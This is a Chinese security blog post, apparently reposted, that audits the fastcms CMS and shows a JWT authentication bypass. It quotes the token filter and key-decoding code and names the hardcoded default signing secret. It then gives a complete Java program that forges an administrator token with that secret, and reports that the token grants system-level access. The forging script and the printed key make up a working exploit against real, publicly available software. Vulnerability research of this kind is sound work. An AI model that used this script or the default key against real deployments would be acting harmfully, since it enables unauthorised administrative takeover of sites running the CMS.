文章总结: 该文档详细分析了某CMS系统因JWT硬编码密钥导致的鉴权绕过漏洞。作者通过实战演示,利用默认密钥生成伪造JWT令牌,成功以管理员身份绕过系统鉴权,获取系统权限。文档提供了完整的漏洞分析过程、代码审计方法及利用脚本,揭示了系统在密钥管理和JWT验证实现上的安全缺陷。 综合评分: 78 文章分类: 代码审计,漏洞分析,WEB安全,渗透测试,安全开发
某CMS JWT鉴权绕过
原创
暗月大徒弟 暗月大徒弟
moonsec
2026年2月16日 10:34 广东
免责声明:本公众号所提供的文字和信息仅供学习和研究使用,不得用于任何非法用途。我们强烈谴责任何非法活动,并严格遵守法律法规。读者应该自觉遵守法律法规,不得利用本公众号所提供的信息从事任何违法活动。本公众号不对读者的任何违法行为承担任何责任。
暗月安全培训限时活动 需要培训联系微信
2026.2.14-2026.2.16
1.jwt介绍
JWT,全称是 JSON Web Token,是一种用于身份验证和信息传递的轻量级令牌机制,常用于前后端分离的系统中。前面讲过详细 https://www.yuque.com/yuqueyonghuhva5jf/anyue2025/hl8alqkg3o3cykw8
2.实战利用
源码下载 https://gitee.com/xjd2020/fastcms
项目 导入 idea 修改application.yml 修改 数据库信息 创建数据库导入sql文件
编译 运行
访问本地 http://192.168.10.201:8080/fastcms.html#/login
默认账号admin密码1
创建普通的用户moonsec 123456
cookie https://jwt.io/ 进行解码
解码得到用户的基础信息
3.鉴权分析
查看代码
src/main/java/com/fastcms/web/filter/JwtAuthTokenFilter.java
@Override
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)
throws IOException, ServletException {
if (request.getRequestURI().startsWith(FastcmsConstants.API_PREFIX_MAPPING)
|| request.getRequestURI().startsWith(FastcmsConstants.PLUGIN_MAPPING)
) {
// 从 Authorization获取jwt验证的token
final String jwt = tokenManager.resolveToken(request);
if (StringUtils.isNotBlank(jwt) && SecurityContextHolder.getContext().getAuthentication() == null) {
try {
//验证token
tokenManager.validateToken(jwt);
//从token里面取值
Authentication authentication = this.tokenManager.getAuthentication(jwt);
SecurityContextHolder.getContext().setAuthentication(authentication);
filterChain.doFilter(request, response);
} catch (ExpiredJwtException | SignatureException e) {
response.sendError(HttpServletResponse.SC_UNAUTHORIZED, e.getMessage());
} catch (Exception e) {
e.printStackTrace();
response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Server failed," + e.getMessage());
}
} else {
response.sendError(HttpServletResponse.SC_UNAUTHORIZED, "not auth");
}
} else {
filterChain.doFilter(request, response);
}
校验通过之后取值。
com/fastcms/web/security/DelegatingTokenManager.java
那么在校验的时候肯定是采用硬编码 默认的secret-key
默认的cms是不会更改这个值 那么就可以利用它验证jwt进行验证
SecretKey012345678901234567890123456789012345678901234567890123456789
访问 https://www.bejson.com/jwt/ 输入secret-key 修改payload生成jwt
提交发现验证失败
分析secret-key处理
com/fastcms/web/security/AuthConfigs.java
获取的 secretKey 还要base64 解码 但是 系统默认的并不存在编码
public byte[] getSecretKeyBytes() {
if (secretKeyBytes == null) {
secretKeyBytes = Decoders.BASE64.decode(secretKey);
}
if (StringUtils.isNotBlank(ConfigUtils.getConfig(FastcmsConstants.JWT_SECRET))) {
secretKeyBytes = Decoders.BASE64.decode(ConfigUtils.getConfig(FastcmsConstants.JWT_SECRET));
}
return secretKeyBytes;
}
所以secretKeyBytes都是字节码 不好处理
4.jwt算法加密脚本
jwt加密就可以正常处理。
在pom.xml添加
<dependencies>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-api</artifactId>
<version>0.11.5</version> <!-- 看你用的版本 -->
</dependency>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-impl</artifactId>
<version>0.11.5</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-jackson</artifactId>
<version>0.11.5</version>
<scope>runtime</scope>
</dependency>
</dependencies>
jwt token生成脚本
package org.example;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.io.Decoders;
import io.jsonwebtoken.security.Keys;
import javax.crypto.SecretKey;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) {
String secretKey="SecretKey012345678901234567890123456789012345678901234567890123456789";
byte[] keyBytes = Decoders.BASE64.decode(secretKey);
SecretKey key = Keys.hmacShaKeyFor(keyBytes);
// payload 数据
Map<String, Object> claims = new HashMap<>();
claims.put("auth", "1");
claims.put("userId", 1);
claims.put("username", "admin");
// 过期时间:你给的是 1744735095(Unix时间戳,秒)
long expMillis = 1744735095L * 1000; // 转为毫秒
Date exp = new Date(expMillis);
// 生成 JWT
String jwt = Jwts.builder()
.setClaims(claims)
.setExpiration(exp)
.signWith(key, SignatureAlgorithm.HS256)
.compact();
System.out.println("生成的 JWT:");
System.out.println(jwt);
}
}
运行得到jwt token
yakit提交验证正常 权限是system
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:moonsec 暗月大徒弟 暗月大徒弟《某CMS JWT鉴权绕过》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论